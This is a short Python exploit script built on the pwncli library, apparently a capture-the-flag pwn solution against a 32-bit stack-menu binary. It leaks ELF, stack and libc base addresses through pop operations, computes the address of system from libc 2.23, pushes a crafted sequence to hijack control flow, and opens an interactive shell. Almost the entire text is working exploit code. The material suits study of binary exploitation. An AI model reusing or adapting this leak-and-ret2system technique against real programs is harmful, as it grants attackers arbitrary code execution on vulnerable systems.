1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
|
from pwncli import * cli_script()
io: tube = gift.io elf: ELF = gift.elf libc: ELF = gift.libc
CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
def cmd(i, prompt="Cmd >>\n"): sla(prompt, i)
def pop(): cmd('p')
def push(d): cmd('i') sl(str(d))
pop() pop() pop() ru("Pop -> ")
libc=ELF("../libc/libc-2.23_32.so")
pop() ru("Pop -> ") elf_base=int(ru("\n",drop=True)) elf_base-=0x75a pop() pop() ru("Pop -> ") stack=int(ru("\n",drop=True)) for i in range(6): push(0x59) pop() ru("Pop -> ") libc_base=int(ru("\n",drop=True)) libc_base-=0x18637 one=libc_base+0x3a80c system=libc_base+libc.sym['system']
push(16) push(16) push(16) push(16) push(system) push(stack+0x78) push(libc_base+0x0015902b) cmd("x") print(libc_base) print(hex(elf_base)) ia()
|